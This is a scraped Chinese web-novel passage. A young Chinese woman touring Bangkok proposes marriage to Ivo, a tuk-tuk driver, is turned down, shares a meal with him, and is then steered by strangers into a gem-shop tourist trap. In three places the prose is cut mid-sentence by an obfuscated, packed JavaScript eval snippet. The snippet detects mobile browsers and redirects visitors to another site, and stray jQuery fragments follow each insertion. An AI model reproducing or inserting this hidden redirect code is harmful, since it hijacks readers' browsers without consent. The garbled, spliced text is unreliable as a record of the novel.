Ivo感觉自己听明白了。 她想证明一见钟情并不是不值得信赖的情绪冲动,许多人在确定交往前最关键的就是第一面,初次心动的结果也不一定就会走向分离。 可是...... “我们和他们不一样。”Ivo直截了当地告诉她,“我们不止是才见过几面的朋友,我们的国籍还不一致,或许连生活习惯都不相同。你现在觉得合适,草率地做出这个决定,万一将来觉得我们不合适了,那该怎么办呢?所以,姜遇棠,不要轻易地做出决定。” 好吧,是很明显的拒绝呢。 姜遇棠讨厌Ivo说话的语气,明明结果都是一样的,偏偏他还条分缕析地同你解释,口吻也是温柔的,让人讨厌都讨厌不起来。 她只能在心里自我安慰,告诉自己,她长得好看,又有钱,从小到大追求者众多,根本不差他这一人。 她现在觉得他适合同自己结婚,或许只是因为被姜是德刺激得精神出了差错,等明天醒来,就不会这样想了。 不过这些自然是不能在Ivo面前表现出来的。 过了几分钟,姜遇棠终于收拾好了心情,用一种非常随意的语气对他说:“我跟你开玩笑的,你不会当真了吧?” 不等Ivo出声,姜遇棠又说:“不过我还是为你感到可惜,你这辈子都无法拥有我这么美丽的妻子了。” 在听到这样的话后,Ivo突然就说不出话来了。 他终于意识到为何自己在她提出结婚的请求时,第一反应就是拒绝了。 因为姜遇棠看起来实在是太过随意了,明明长得平易近人,笑起来也不会给人有任何距离感,看着也挺好相处的样子,但她从始至终都表现得超级散漫随性,连被人拒绝和开玩笑时的表情都很淡定,好像全然没有将他的话放在心上。 你无法分辨出她说的话哪句是真的,哪句又是假的。 Ivo垂着眸看她,眼神意味不明,姜遇棠权且就当作是种嘲笑吧。 不过她也没在意,笑了笑,见他看着自己,当即掏出手机,问他:“那我们可以加个联系方式吗?” 她以为,在拒绝之后,他们应该是没什么见面的机会了,所以赶紧补充了一句:“你让我不要和陌生人说话,但你知道的,在泰国,除了你,所有人对我来说都是陌生人。” 姜遇棠说着,微微歪了歪脑袋,笑意真诚。 Ivo抬了抬眉,那股子不知由何而起的郁气瞬间转为漠然,他倒也没有拒绝,只是随便给了她一个WhatsApp账号。 添加完联系方式之后,姜遇棠默默地在心里吐槽,WhatsApp这么难用的app,这世上究竟还有谁在用啊?除了能看到对方已读不回、自我陷入尴尬状况外,还有什么好处? 她怀疑Ivo是故意不给她常用的联系方式的,但也没有计较。 在他们准备走出大皇宫时,天上忽然落起了雨。 这雨来势汹汹,姜遇棠看到好多毫无准备的人在雨中狂奔,也有几个打着伞的人在雨中慢悠悠地走。 出租车整齐划一地停靠在距她有一段路程的专属停靠点,交通仍旧堵塞,曼谷的交通似乎从不会令人失望。 姜遇棠打算回酒店休息了,一路舟车劳顿,外加烈日暴晒,又走了一个下午,她已然感到了身心疲惫。 她本来毫无计划,明明只是想找个有名的景点随便逛逛,也不知道自己是怎么来的大皇宫,又为什么要来。 说实话,她已经为来到这里生出了悔意,甚至想要立刻订一张机票回国,寺庙不逛了,风景也不看了,结婚就结婚吧,随他好了。 姜遇棠拿出手机查了查,发现大皇宫距离素万纳普机场大约30公里,驾车需要40-60分钟,而Grab的等待时间是10分钟。 这淅淅沥沥的雨和等待时长都令她感到绝望。 姜遇棠没忍住在心里叹了口气。 忽然,一辆TukTuk车停在了她面前,来时飞快,溅起一小片水花。 姜遇棠怔了怔,收起手机,抬眸扫过去,发现是Ivo的TukTuk车。 “你要去哪?我送你过去吧。” 他的车尚未熄火,引擎的轰鸣声夹杂在雨声中仍旧十分清晰。 姜遇棠短暂地思考了一下,是上他的车还是去机场,Ivo又问了她一遍。 姜遇棠终于出声:“我要回酒店。” Ivo问她酒店的具体位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578339|187205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置,在导航上搜了搜,没一会儿就启动了车子。 TukTuk车轰地一声冲了出去,害姜遇棠的脑袋险些撞上一旁的扶手,她忍不住瞪了前面的男人一眼,扶稳坐好,接着偏头看向远处。 车行半道,雨倏地又停了。 曼谷的雨季就是这样的,一阵一阵的,一天之内总是阴晴不定。 他们穿过许多小巷,沿着一条较为拥挤的车道往前行驶,期间超过好几辆汽车,路过一群密集的楼房,墙体斑驳陈旧,抬头与低头间,仿佛能够看到时代与市井交替并行。 一连串的中式红灯笼打眼前一闪而过,刻着中文的牌匾也是匆匆飞逝,像极了上世纪港片的取景地,总感觉冷不丁的就会有几个说着粤语、扛着棍棒的人从里头冲出来。 TukTuk车在曼谷好像无论何时都十分拥堵的街头走走停停。 一路上,姜遇棠都没有说话。 在不长不短的相处时间里,Ivo知道,她是属于比较健谈的类型。但她此刻坐在车后座,却只是盯着某个方向发呆,任晚间温凉的风将发丝吹得四散飞扬。 Ivo下意识地想要问她怎么了,想到自己刚刚才拒绝了她,此刻问出口,怎么都有种明知故问的味道。 他将目光从后视镜上收回。 待车子在红灯前停下,他才转过头来,问姜遇棠:“接下来的几天,你准备去哪儿玩?做好计划了吗?” 姜遇棠慢悠悠地转头看他,眼睛眨了许多下,没有说话。 她实在受不了Ivo这多余的好心,明明给不了她想要的,偏偏又十分善良。 在中国,一般收到明确的拒绝之后,男女双方是很难再继续做朋友的。他大概是因为从小在欧洲长大的缘故吧,显然没有这方面的顾虑。 思想意识的差距令姜遇棠感到无解,默默地瞧着他,想对他生气都做不到。 在他投来疑问的目光时,姜遇棠想了想,随口答了几个从小X书上看到的必打卡景区,问Ivo是否有高见。 “这几个地方去的中国人的确都比较多,没什么问题。不过,你知道明天是泰国骄傲月的第一天吗?曼谷很多地方都会有游行。你如果不感兴趣、想要避开的话,四面佛和CentralWorld这一带就尽可能地别去了。” “嗯。”姜遇棠不咸不淡地回答。 想了想,Ivo告诉她:“有机会的话,你可以去湄南河坐个船,那里可以看到整个曼谷最美的夜景。” “好。” 绿灯亮起的时候,Ivo重新发动了车子,想起什么,又问她:“对了,你今天有吃过东西吗?” 他不提,姜遇棠还真想不起来自己今天有几个小时没进食了。好像除了飞机餐,她从早到晚什么都没吃,连口水都忘了喝。 察觉到身后的沉默,Ivo重新调转了方向,问她:“你想吃什么?” 姜遇棠很难想到自己想吃什么,她对吃的一贯都是没什么想法的,从来都是家里做什么吃什么,继母让厨房做什么吃什么。 家里烧清蒸鱼,继母对妹妹说多吃点儿,鱼吃了脑袋聪明,她就会跟着多夹两筷子;继母跟妹妹说胡萝卜对眼睛好,她也会试着多往嘴里塞。 但她好像没有什么特殊的喜好,便对他说:“随便吧。” Ivo说好,想了想,将车子驶入一条较为宽阔的大道,沿途都是高楼,满街的行道树上皆挂着彩灯,有一种欧洲过圣诞时的氛围。 他将车停在一栋看起来普普通通的民房前。 5. 念想 姜遇棠发现这栋房子连个门匾都没有,两边都是很小的商铺,只不过它小得特别突出,连灯看起来都没周边的商铺明亮,院里倒是坐满了人,也不知道他们是怎么发现这个宝藏地方的。 Ivo朝前走了几步,回头看她一眼,见她跟上,长腿一迈,就跨入了窄小的店门。 他刚经过收银台,几个穿着泰国传统服装的店员就朝他迎了过来,叽叽喳喳的,满脸都是热情的笑容,Ivo跟他们打了个招呼。 姜遇棠听不懂泰语,但能猜出他们应当是熟识。 看Ivo同他们说话时的表情平和而温柔,明明看起来那么不爱凑热闹的人,偏偏又好像适应得非常良好。 “你好长时间没来啦,我们可是天天盼着你呢。”为首的店员笑容灿烂,“话说,Mark呢?” “他最近感冒了,在家休息。” “Mark也好久没来了,我们店新出了几道菜,还等着他来试菜呢,不然你来试试吧?” Ivo笑着说:“好啊。” 说罢店主也走了过来,同Ivo简单聊了两句,注意到他身后的姜遇棠,又笑着同她说了声“萨瓦迪卡”,姜遇棠同是回了句“萨瓦迪卡”。 之后店主又对Ivo说了句话,Ivo转身对姜遇棠说:“院子里热,他让我们赶紧上楼。”说着,便领姜遇棠往楼梯口走。 这栋房子不止外观看起来陈旧普通,就连台阶也是夸张得又窄又短,堪堪只能放下人的半只脚。因此走路时需要斜着走,还需分外当心。 Ivo走到二楼的楼梯口时,回头告诉她:“这家店是我弟弟推荐给我的,做的是传统的泰国菜。” 姜遇棠小心翼翼地跨上最后一级台阶,无所谓地点了点头。 楼梯口的桌子上叠着好几摞五颜六色的保温桶,Ivo随手提了一个,引着姜遇棠走到一张二人桌前。 桌子的外观奇特,比寻常桌子矮,也比寻常桌子窄。 桌面是厚实的原木,边缘保留着原始的未经修饰的朴拙弧度,桌底有一块不长不短的踏板,右下角是飞轮,可以看出前身是个缝纫机,只不过机头早被人卸走了。 楼上的空间不大,勉强只能摆下四张缝纫机桌子,窗户很小,玻璃紧闭着,墙上贴满了印着泰文的啤酒广告。 店员拿着菜单过来,Ivo又将菜单递给姜遇棠。 姜遇棠随意地扫了眼,发现上面写的都是泰式英语,又把菜单推回给他:“还是你来点吧。” Ivo没再推辞,翻了一会儿菜单,选了几道菜,又听店员热情推荐,加了两道,姜遇棠忽然说:“给我来瓶啤酒吧。” Ivo刚准备阖上菜单的手指顿了顿,用泰语同店员说了几句,店员回复了他几个词,听起来像是疑问词。 姜遇棠听不懂,她感觉此刻的自己就像一个不好好学习的文盲,自由地游离在知识的海洋之外,这点令她分为懊恼。 她以为Ivo会直接告诉对方,毕竟只是一瓶啤酒,除了加冰或是不加冰,应该也没有其他问题,没想到他却直接问起了自己:“他问你可乐要无糖的,还是原味的?” 姜遇棠:“......” 她的嘴角抽了抽,又听Ivo问了遍:“要无糖的,还是原味的?” 不跟不熟的人喝酒尚且可以理解,人总该要有些防备心,但都喝上碳酸饮料了,谁还喝无糖的啊?自欺欺人吗? 良好的教养驱使着姜遇棠极力忍住了朝对方翻白眼的冲动,她顶多只是看了对方一眼,随后面无表情地说:“我不要喝可乐,我要喝泰奶!” Ivo点点头,说:“好。” 等待上餐的过程中,Ivo打开了桌上的水,又从保温桶里夹出几颗冰块放入,递给姜遇棠,之后二人便没有说话。 二楼的冷气打得足,刚坐下姜遇棠就觉得凉飕飕的,喝了口冰水后,更是觉得灵魂升天。 在国内,她几乎从来没有在这种类似于苍蝇小馆的店铺里用过餐,一是因为她向来都是家里做什么吃什么,营养师都会替她搭配好;二是她所在的圈层,没有人会将约饭的地点定在这样的地方。 姜是德给她安排相亲的餐厅,至少也得提前一个月预约。 因而来到这种场合,对姜遇棠来说,实属难得。 她无所事事地朝四处望了眼,周围都是皮肤偏黑的曼谷本地人,说着她或许一辈子都听不懂的语言,嘻嘻哈哈的,看起来没有任何烦恼的样子。Ivo坐在她对面,专注地盯着手机,时不时地回两条消息,貌似很忙。 姜遇棠不想玩手机,便开始没话找话地问他:“你是在回游客的消息吗?” 闻言,对面的男人当即停下手上的动作,好似没听明白她说的话般,反应了两秒,才回:“我不是导游。” 姜遇棠狐疑地看向对方:“那你昨天举着牌子是在机场接谁?我应该没认错吧,那是带队导游常备的牌子吧?而且据我推测,你昨天并没有接到人,所以用德语骂了他们一顿。” “我没有骂人。”Ivo将手机息屏,收了起来,“昨天是替我弟弟去接游客,他这两天感冒了,状态不好。我在机场等了两个多小时,才收到旅行团取消这趟行程的消息。” 他好像不愿提及被人放鸽子的事,指了指姜遇棠放在桌上的相机:“你呢?单纯过来玩吗?” 姜遇棠总觉得他说的“单纯”二字别有深意,但她没过脑,懒洋洋地回道:“一边玩,一边采采风吧。” “来曼谷采风?” 怎么了?姜遇棠想着,曼谷不是世界著名的旅游城市吗?来这里采风怎么了? 她把相机往旁边推了推:“嗯,有什么问题吗?” “没问题。”Ivo摇摇头,“只是我以为,会有比这更适合的地方,不是吗?” 当然有,姜遇棠从没像现在这样认同过他的话,在她原先的计划里,也从没出现过“曼谷”这两个字,只不过这些计划全被打碎了。可这有必要和眼前的男人说吗?说了他也未必能理解,还会以为自己在刻意制造话题,借机搭讪。 可她没有,所以姜遇棠没有回答。 Ivo似乎也并没有想要得到她的答案:“不过曼谷也不错,很自由,也很浪漫。” 他的语气淡淡的,似乎只是在说一件再寻常不过的事,好像曼谷拥挤的交通,随处可见的TukTuk车,就给了他难以言说的自由和浪漫。 店员将饮品放到他们面前,姜遇棠盯着眼皮子底下的泰奶,忍不住在心里发出一声赞叹,或许泰国的冰块是真的不要钱吧。 她把吸管插入,浅吸一口,冰冰凉凉的,刺激得她脑仁疼,却又很爽,忍不住又猛吸了一口。 这家店的泰奶有一种兑水过多的珍珠奶茶的味道,茶味不浓,味道也不甜,很符合她的口味。 姜遇棠端起杯子,毫不见外地跟Ivo碰了碰杯。 Ivo点了一杯拿铁,捏着勺子搅了搅。 姜遇棠一边喝奶茶,一边盯着他的手瞧。 Ivo的手很好看,和他全身上下怎么都晒不黑的皮肤一样,血管清晰,指骨分明,看起来就特别有力量。 他慢条斯理地喝着咖啡,仿佛对她的视线浑然未觉。待拿铁喝完,Ivo慢慢将杯子放下,眼角余光瞥到有人上了楼。 那人拿着几盘切好的水果,一桌桌地走过去,问大家需不需要水果。几乎所有人都表示拒绝,直到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578340|187205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走到了姜遇棠面前。 姜遇棠要了一盘莲雾,从钱包里掏出100铢递给她,付完钱就撕开了果盘外头包裹着的保鲜膜,准备品尝。 余光注意到Ivo一直在盯着她看,姜遇棠以眼神询问后,将果盘递过去,Ivo却是欲言又止地看着她。 忍了忍,还是没有忍住,他拿手指了指姜遇棠的钱包:“把钱包收好,出门在外要记得财不外漏。” 姜遇棠无所谓地耸了耸肩,倒也没反驳,听话地将钱包理了理,收进了背包。 店员将菜一一端上桌,冬阴功是刚煮好的,热气蒸腾。 姜遇棠学着Ivo的样子,先舀了一口汤到碗里,再从其中夹了蘑菇和虾。 第一口下去,姜遇棠就意识到这菜不合自己胃口了。 辣,咸,真是要命了。 她又学Ivo夹了一片猪颈肉,蘸了蘸店家特调的蘸料,嗯......泰国的辣椒也不要钱吗? 之后她又假模假式地动了几筷子,便没有再吃,双手抱着面前的泰奶开始思考人生。 而Ivo大概是注意到她很长时间没有动筷,桌上的菜几乎每道都只品尝了一次,泰奶倒是一口接着一口地喝,很快就要见底了。 他知道这些菜完全不合她口味,喊来店员,又要了一份蛋炒饭和炸鸡翅。 等这两样菜上桌,姜遇棠终于忍不住了,托着脑袋直视他,用调笑的口吻道:“Ivo,你是对谁都这样好吗?” “怎么好?” 姜遇棠想了想,在被拒绝又被关心的诸多情绪加持下,甚至联想到以前看过的悬疑剧,怀疑他因受不了她的叨扰,在菜里下毒,誓要切断彼此间的往来。 脑内浮想联翩,最后也只是硬生生地挤出几个字:“乐于助人,善良,有爱心。” 他当然听得出她话中的情绪,默了会儿,对她说:“如果让你觉得不舒服的话,那我道歉。” 这并不是什么需要道歉的事情,姜遇棠想,或许他本身就是如此,不给人希望,但也不会将事情做绝。 可但凡事情留有余地,总会让人生出无端的念想。 这么想着,姜遇棠盯着眼前的鸡翅长久未动。 她眨眨眼,不动声色地看向Ivo,不凑巧,正好看到对方也在看着自己,轻微地皱着眉。 一股微妙的感觉横亘在彼此之间,无法向前,而又不甘退后。 姜遇棠感到心情复杂,她想不明白许多事,越想越不明白,可这世上想不明白的事多了去了,遂乖乖地闭上了嘴。 过后她开始遵守“食不言,寝不语”的规矩,不紧不慢地吃完最后一块鸡翅,用纸巾擦了擦嘴,礼貌地同对方说:“我吃好了。” “嗯。”Ivo也停下了手中的筷子,起身,“我送你回去。” 姜遇棠重新拾起桌上的包和相机,几乎是下意识地问他:“会不会麻烦你?” 她觉得这一天已经麻烦人家数回,不该再麻烦他了。 Ivo顿住脚,回头看她,目光停留片刻又移开:“不麻烦。” 脚步声很快往楼下去。 姜遇棠提起包,看着那道身影,也跟着下楼。 一路两个人都没说话,彼此好像在较劲,可没有人清楚他们在较什么劲。再出声时,已经到了酒店楼下。 姜遇棠下了车,礼貌地同对方道谢、道别。 Ivo淡淡地扫她一眼,点点头,视线落回车把手上,手扭了扭,把车子发动,又开走了,没作任何停留。 姜遇棠听着车声远去,往酒店大门走了两步,又停下,回头看了眼,还能看见车子愈行愈远的身影。 天光昏昧,车声轰隆,似永不再见。 6. 四面佛 这天夜里,姜遇棠躺在床上翻来覆去地睡不着。 她盯着酒店巨大的落地玻璃窗往外看,有光破窗而入,落在屋内浅灰色的地毯上,待她细看时,又骤然消失了。 而车子疾驰的声音依旧清晰,似乎就发生在她耳边。 这家酒店的隔音并没有很好,或许是楼层偏低的原因,也可能是曼谷市区各种类型的车辆繁多,昼夜不息,她总感觉自己此刻就站在马路上,车水马龙,络绎不绝。 也不由地想到Ivo离去时的背影,那么决绝、不留情面,连带着又想起他拒绝自己的那些话,经由脑内加工加润色,便后知后觉地感到气愤难挡。 她很不愿意承认自己对Ivo的态度耿耿于怀,想发消息问问他,为什么在拒绝她后又对她那么好,好了之后又开始冷淡。 但这一想法很快就被她强制压下,觉得自己真问他了倒显得有些胡搅蛮缠了,这不符合她的个性,而且管他是怎么想的呢,以后又不会再见。 只不过想到他的言行,还是会难以控制地情绪上头。 反反复复几次后,姜遇棠终于从床上下来,换好衣服、下了楼。 心烦意乱的也不知道该去哪儿,大半夜的去遛街亦像是脑子有病。犹豫不觉间,她干脆想,随便找家便利店,买两瓶啤酒,靠酒精麻痹自己得了。 曼谷遍地都是7-11,姜遇棠走进一家罗森便利店,提了两罐印着大象标志的啤酒,重新回了酒店。 酒精很好,之后她果真一夜好眠。 手机振动起来的时候,姜遇棠还沉浸在睡梦中,因而划开接听键的档口脑内仍旧一塌糊涂,迷蒙着睡眼盯着通话界面跳了好几秒,才好像意识到现在已经不是在做梦。 沈倾沐冲着听筒喊了好几声,差点以为姜遇棠被人劫持了,而劫匪还在思考该用什么语言同她讨价还价。 “我没有被绑架,你放一万个心。只是刚睡醒,脑子不太清醒。”姜遇棠伸了把懒腰,揉了揉僵硬的脖子。 “呼——你可要吓死我了,我还以为你咋了呢。”沈倾沐大喘一口气,“话说,你玩得怎么样啊?有没有什么艳遇?” “嗐,别提了。”提起这事姜遇棠就冒火,“倒真遇到了一个人,我邀请他跟我结婚,被他拒绝了,还找了一堆拒绝的理由,亏我还那么严肃认真。” “不是吧,棠棠儿,你怎么这么大胆啊。”沈倾沐大笑,“不过这人怎么能拒绝你呢?他知不知道自己拒绝的是何等的荣华富贵啊?” “我觉得他并不在乎。” “那他在乎什么?” “他好像什么都不在乎。” 沈倾沐忙宽慰她:“别管他啦,下一个更好。” 姜遇棠笑了声,也不再纠结。 挂了电话,她发现手机常年保持屏蔽状态的班级群忽然变得异常活跃,姜遇棠忍不住戳开看了眼。 大学同学已经陆陆续续开始工作,也有的和她一样正在旅行,群里分享了许多世界各地的风光美景,一会儿在欧洲街头漫步,一会儿在非洲大草原享受自由,也有人在群里@她,问她怎么不吱声,是不是把群给屏蔽了。 姜遇棠没有理会,扒着枕头发了会儿呆,又闭眼躺了几分钟,才起身洗漱,认为自己也该出门逛逛了。 Ivo提醒她今天不要去四面佛,那她想,就去四面佛逛逛好了。 可惜准备出发的档口,窗玻璃上突然砸起了雨点儿。 这雨来势汹汹,才九点,窗外的天色就已经暗沉如夜,楼底的大树也被风刮得枝桠乱颤。 姜遇棠开始查看天气预报,手机上说今天会有阵雨,不过这场雨来得急,去得也会很快。 她站在窗边静静地赏了会儿雨,窗户被雨打得啪啪作响,手指触在玻璃上,都好像能够感受到雨点儿落在指尖的触感,楼下有许多狂奔的行人。 远处暗沉翻滚的云团裹着绵密的雨丝,笼着整座城市,像是魔幻片里的黑洞奇观,仿佛要吞噬一切。 只不过一小会儿功夫,云云雨雨的就都散了。 姜遇棠背上包下楼用餐,这个点餐厅的人很少,她慢慢悠悠地吃完最后一块火腿片,才走出去打车。 也许是这块儿地理位置偏僻,也可能是曼谷常年游客众多,Grab显示的等待时长为15分钟。 姜遇棠并不着急赶路,就在路口多站了会儿,打算随机拦下一辆过路的出租车,或许这样也比Grab给力。 大概是看她在路口站的时间有点儿久,有好心的当地人朝她走来,问她是哪儿人,准备去哪儿玩。 姜遇棠不作他想地回答了中国人,打算去四面佛。 那人摆摆手,告诉她:“I’mfromChiangMai.” 他抬手指了指身后的LawOffice,告诉姜遇棠自己是那儿的工作人员。 怕姜遇棠不能理解他的意思,还从腰间黑色的挎包里翻出纸和笔,压在面前的电线杆上,给她规划起了路线。 他告诉姜遇棠,今天是泰国的传统节日,还是王后生日假期的最后一天,早上大型寺庙都会有王室活动,会闭寺半日,建议她去小众一些的寺庙逛逛。 他在纸上涂涂画画,让姜遇棠先去云石寺,去那儿走走,逛完了再去立佛寺;等立佛寺逛完了,再去郑王庙乘船,感受湄南河的风光;乘船结束,再让TukTuk车司机带她去Export,因为今天是王后生日假期的最后一天,宝石价格便宜,购买自己的生日石会获得一年的平安与幸福。 法律工作者在介绍完这些路线后,又特别热心肠地告诉她:“Becausetodayisholiday,takingtheyellowTukTukcostsonly20ThaiBaht.” 他还给姜遇棠指明了,一定要乘坐黄色牌照的TukTuk车,因为黄牌的实惠。 说话间,一辆黄牌TukTuk车与他们擦肩而过,那人忙将车子拦下,跟司机指了指身后的姜遇棠,告诉他要带她去哪些地方,还叮嘱人家只能收20泰铢,不能额外收钱。 司机点点头,说好,抬手邀请姜遇棠上车。 姜遇棠也想不明白自己去四面佛的路线是怎么被篡改成这个样子的,但她本来也没什么细致的行程规划,去哪儿对她来说并没什么不同。 想了想,她先是对那位法律工作者的热心肠表达了谢意,又对司机道了声谢,随后才爬上车厢。 曼谷的TukTuk车司机真是个顶个的艺高人胆大,Ivo已经给她一种风驰电掣的感觉了,结果这个司机更甚,车骑得比人家轿车还快。才几分钟,姜遇棠就看他接连超过好几辆疾驰的出租车了。没等她提醒,转瞬就将她送到了云石寺门前。 目光所及之处是一座不大不小的寺庙,门匾上写着泰文,她看不懂,跟随司机直接走了进去。 时间尚早,寺庙里只有零星几个本地人。 姜遇棠不知道应该做些什么,就跟着他们一道在佛殿门口脱了鞋子,进入了佛殿。 夏天太阳大,温度高,地板被晒得发烫,姜遇棠感觉自己每走一步都变得十分艰难,人很难在这种状态下还有其他想法。 金光闪闪的佛像跟前香火鼎盛,她往边上挪了挪,跟随当地人一同跪下,心无杂念地参拜,再心如止水地走出了佛殿。 接着又被司机带到了立佛寺。 立佛寺的大佛宏伟壮观,参拜者甚众。 身着黄袍的僧人提着扫帚在佛像身后的石阶上打扫,扫帚“唰唰”地从眼前刮过,又远去。 身后的石阶高矮不一,有的高,有的低,姜遇棠扫视四周,发现没有其他可逛的地方,就跟着人群往上爬,歇歇走走,终于抵达最高层。 塔顶的风光无限,站在上面,可以看到曼谷小半的城市街景,也可以看到许多座泰国庙宇独特的塔顶构造,在阳光下金碧辉煌。 在国内,一般寺庙是禁止拍摄的。 但泰国好像不太一样,姜遇棠发现来来往往的游人都没有避讳,也无当地人好心提醒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578341|187205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家都在对着佛像拍照。于是她也拿出相机,调整着角度拍了几张。 通往顶部的石阶高低错落,下来时,姜遇棠便猛烈地感受到了大腿的酸软麻木,浑身都感觉耗费了不少力气。实在是走不动了,她不得不在最后几级石阶上停下,靠在旁边的围栏上缓了缓。 缓过那阵劲儿,她正准备去找司机,一旁供奉香火的陌生人忽然跟她搭话,问她知不知道今天是什么节日。 姜遇棠谨慎地点了点头,一脸茫然地看着他。 那人笑了声,告诉她今天是王后生日的最后一天,所以他特地从别的国家赶回来。 姜遇棠心想,原来是这样大型隆重的节日吗?那她怎么未曾听Ivo提起。 又听那人说,今天乘坐政府的TukTuk车,3小时内只需要20泰铢。因为是节日的最后一天,购买宝石也会享受优惠,被王室祝福的生日石会为你带来一整年的好运,祝你好运,开心。 接二连三地经人提醒,姜遇棠便觉得自己十分幸运地赶上了好时候,找到司机,她赶紧让对方带她去买生日石,生怕错过好时机。 等买到自己生日专属的蓝碧玺后,姜遇棠先是跟沈倾沐分享了一番,想了想,又给Ivo发了一张照片,并将自己今天一整日的幸运都诉诸于他。 WhatsApp很快就显示出两个灰钩,不知道他有没有收到消息,姜遇棠也没有多想,当即锁了屏。 时间接近12点,她还是想去四面佛周围转转,便同TukTuk车司机说了这个打算。 司机表示那边距离过远,他的车没法驶到那里,提出可以带姜遇棠去乘坐BTS。姜遇棠莞尔拒绝,礼貌地同他道别,随后在路口拦下一辆出租车。 正如Ivo所言,她赶上了好时候,游行的队伍已经开始了。整条街的路况都很糟糕,车子一路停停走走,大部分时间都可以说是与她的步行速度不相上下。 路上司机同她商量,提出要1000泰铢的敲诈请求,还声称:“Becauseofthetraffic.” 这是姜遇棠来泰国第二次听到这样的话了,她感觉整个曼谷的司机都把她当成了傻子。 她当然没有同意,也没心情同司机争辩,只是在下车时不带商量地给了他400泰铢。 出租车在四面佛的对面停下,四面佛位于闹市的正中心,常年都有来自世界各地络绎不绝的朝拜者,车辆不方便开过去,姜遇棠只能在这边下车。 此刻正是一天当中最热的时段,但是仍有不少人往那边涌去,姜遇棠也沿着马路走了过去。 据说四面佛是印度教婆罗门教的主神之一,此佛共有四面,每面分别掌管事业、爱情、财富与健康。因为凡人总有各种愿望,所以几乎所有人来了,都会将各个面都朝拜一番。朝拜时需要按顺时针方向移动,每面献上三支香、一支蜡烛和一个花串。 姜遇棠其实没什么愿望,她这一天周转于各个佛殿都心无杂念、无念无想,可看眼前的参拜者熙熙攘攘,满目虔诚,思考了一下,还是去旁边买了香花和蜡烛。 脚步跟随众人移动时,姜遇棠也没想好要许什么愿。她身体健康,毫不差钱,事业也并不令她烦恼,唯有感情状况,似乎是个问题。但是Ivo不答应,她总不能在佛祖面前许愿,求他和自己在一起吧? 这就很不厚道了。 这样想着,姜遇棠便决心不再纠结于她和Ivo的情爱小事,应该往大了求。既然四面佛很灵,那她也该诚心一点儿。 她走到佛像的每一面前都虔诚许愿。 一愿国泰民安。 二愿世界和平 三愿事业有成。 四愿赠我姻缘。 然后毫不犹豫地将12支香插入香案。 完了她还打算四处逛逛,包里的手机铃声忽然响了起来。 她一看是Ivo打来的,好奇加迷茫间,姜遇棠还是按下了接听键。 还没来得及打招呼,就听Ivo问她:“你在哪儿?” 7. 天桥 姜遇棠不明白他突然打电话来问自己在哪儿干嘛,尽可能地保持轻松语调问他:“怎么了,有事儿吗?” 但Ivo并没搭理,只是重复着问她:“你在哪儿?” 声音低沉、阴郁,还隐隐带有几分不悦。 姜遇棠不知道是不是受电磁波的影响,还是自己想多了,总不能是自己惹到他了吧?她今天可没跟他说上过话,上哪儿去惹他?简直毫无缘由。 犹豫了会儿,她还是报出了地址。 听筒那端沉默了一瞬,Ivo低声对她说:“在那儿等我。” 这语气听来真令人不爽,姜遇棠一贯都不喜欢别人命令自己,而且他跟她什么关系啊,凭什么这么对自己说话?本想同他理论一番,但是脑内想法太多,在脑中狠狠将他批判一顿后,竟然鬼使神差地答应了下来:“行。” 不过她也没有老老实实地待在原处,答应是答应,但Ivo也管不住她啊。 闲来无事,姜遇棠准备把四面佛附近比较有特色的店铺都逛他个一遍。 网上说四面佛附近有很多卖佛牌之类的纪念品的地方,姜遇棠本着“不带走点儿当地的特产,就相当于白来”的心理,打算过去看看。 正式的店铺她还没找到,卖各式各样纪念品的小摊倒是撞见不少。 泰国的神佛和中国不太一样,卖的佛牌自然也就有些许不同。 姜遇棠没见过这些样式的,不自觉地在某个摊位前驻足了几秒。摊主注意到了,大热天的眼前一亮,赶忙向她推销起来。 大概是认出了她是中国人,摊主见得多了,当即用她那不怎么标准的中文介绍说:“这些都是开过光的佛牌,被佛祖赐过福气的,能给人带来好运。” “真的吗?”姜遇棠随口问道,拿起摊子上的几块佛牌,比对着看了眼。 “当然啦。”摊主感觉这单能成,忙凑近了些,指着姜遇棠手里的佛牌一一给她介绍:“这个是保财运的,随身带着能发财;这个是保健康的,能让你避开一切危险;还有这个,带在身上肯定能保你财运亨通、事业蒸蒸日上。这个最好啦,所以价格要比其他的贵一些。不过你放心,我卖的都是开过光的,绝对灵验。在四面佛前卖东西,我不会骗人的啦。” 她说得太快,本质就是在推销自己的产品,姜遇棠压根就没听清各个佛牌的代表属性,但又觉得摊主说这么多话不容易,整个肢体语言都极富生命力。 其实她怀疑这些都是摊主自己创作的手工艺术品,根本没有什么开不开光的,不过不管她说的是不是真的,姜遇棠都不介意,随机选了一块,立马付了钱。 